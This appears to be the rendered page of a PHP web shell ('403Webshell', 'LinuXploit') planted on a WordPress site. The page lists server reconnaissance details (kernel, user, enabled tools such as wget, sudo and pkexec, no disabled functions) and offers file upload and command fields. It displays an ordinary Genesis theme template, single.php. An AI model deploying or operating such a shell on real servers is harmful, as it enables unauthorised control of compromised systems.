403Webshell
Server IP : 172.67.201.108  /  Your IP : 216.73.216.11
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/home2/domains/siparent/wp-content/themes/JSMT-Genesis-1.1/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/home2/domains/siparent/wp-content/themes/JSMT-Genesis-1.1/single.php
<style>
.wp-caption-text:before {
    font: 14px/1 FontAwesome;
    //content: "\f030";
    margin-right: 10px;
    color: #0093C2;
    display: inline-block;
}
</style>
<?php
/*
*
*	Author: JSMT Media - https://jsmtmedia.com
*	Template Post Type: Custom Single Blog Post
*
*
*/
add_action('genesis_entry_content',function(){
	$img=get_the_post_thumbnail_url($post_id,'resource-image');
	$img_data=wp_get_attachment_image_src( get_post_thumbnail_id( get_the_id() ), "resource-image" );
	$alt=get_the_title();
	if(!empty($img) && $img_data[1] >= 880){
		echo '<img src="'.$img.'" alt="'.$alt.'" class="featured-image" />';
		$get_description = get_post(get_post_thumbnail_id())->post_excerpt;
		  if(!empty($get_description)){//If description is not empty show the div
		  	echo '<div class="wp-caption-text">' . $get_description . '</div>';
		  }
		}
?>
<style>
img.featured-image{
	margin-bottom:10px;

}
</style>
<?php
},1);
// Run the Genesis Loop
genesis();

Youez - 2016 - github.com/yon3zu
LinuXploit